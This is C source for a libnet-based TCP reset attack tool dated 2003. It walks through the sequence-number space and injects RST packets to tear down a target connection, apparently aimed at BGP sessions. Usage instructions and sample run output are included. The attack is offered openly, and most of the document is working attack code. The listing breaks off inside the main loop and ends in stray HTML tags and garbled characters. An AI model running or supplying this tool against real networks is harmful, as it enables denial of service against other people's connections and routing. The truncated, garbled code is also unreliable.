/* By: Paul A. Watson Build a TCP packet - based on tcp1.c sample code from libnet-1.1.1 COMPILE: gcc reset-tcp.c -o reset-tcp /usr/lib/libnet.a ** be sure to modify the MAC addresses (enet_src/enet_dst) in the code, or you WILL have problems! EXECUTE: reset-tcp [interface] [src ip] [src port] [dst ip] [dst port] [window size] EXAMPLE (and timing packets sent with /bin/date): [root@orc BGP]# date; ./reset-tcp eth1 172.16.0.1 1 172.16.0.2 2 65536; date Tue Dec 16 21:18:28 CST 2003 Packets sent: 8192 Sequence guess: 536805376 Packets sent: 16384 Sequence guess: 1073676288 Packets sent: 24576 Sequence guess: 1610547200 Packets sent: 32768 Sequence guess: 2147418112 Packets sent: 40960 Sequence guess: 2684289024 Packets sent: 49152 Sequence guess: 3221159936 Packets sent: 57344 Sequence guess: 3758030848 packets sent: 65535 Tue Dec 16 21:18:46 CST 2003 [root@orc BGP]# */ #include #include int main(int argc, char *argv[]) { int c; unsigned long int count=0; unsigned long int count2=0; unsigned long int seqguess=0; unsigned long int seqstart=0; unsigned long int seqincrement=0; unsigned long int seqmax=4294967295; u_char *cp; libnet_t *l; libnet_ptag_t t; char *payload; char * device = argv[1]; u_short payload_s; u_long src_ip, dst_ip; u_short src_prt, dst_prt; char errbuf[LIBNET_ERRBUF_SIZE]; char sourceip[32] = ""; char destinationip[32] = ""; /* Change these to suit your local environment values */ /* Make enet_dst either the default gateway or destination host */ u_char enet_src[6] = {0x00, 0x60, 0x08, 0xa1, 0x31, 0xf2}; u_char enet_dst[6] = {0x00, 0x40, 0x2b, 0x4d, 0xf5, 0x23}; u_char org_code[3] = {0x00, 0x00, 0x00}; /* Its only test code, so minimal checking is performed... */ if (argc<7) { printf("Usage: %s [interface] [src ip] [src port] [dst ip] [dst port] [window size]\n",argv[0]); printf("**Be sure to re-compile with appropriate MAC addresses!!! You were warned.\n"); exit(1); } strcpy(sourceip,argv[2]); src_prt = atoi(argv[3]); strcpy(destinationip,argv[4]); dst_prt = atoi(argv[5]); seqincrement= atoi(argv[6]); seqstart= 0; seqmax = 4294967295; /* 2^32 */ payload = NULL; payload_s = 0; src_ip = libnet_name2addr4(l,sourceip,LIBNET_DONT_RESOLVE); dst_ip = libnet_name2addr4(l,destinationip,LIBNET_DONT_RESOLVE); for (seqguess=seqstart;seqguess
<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            ÑÇÖÞÅ·ÃÀÔÚÏß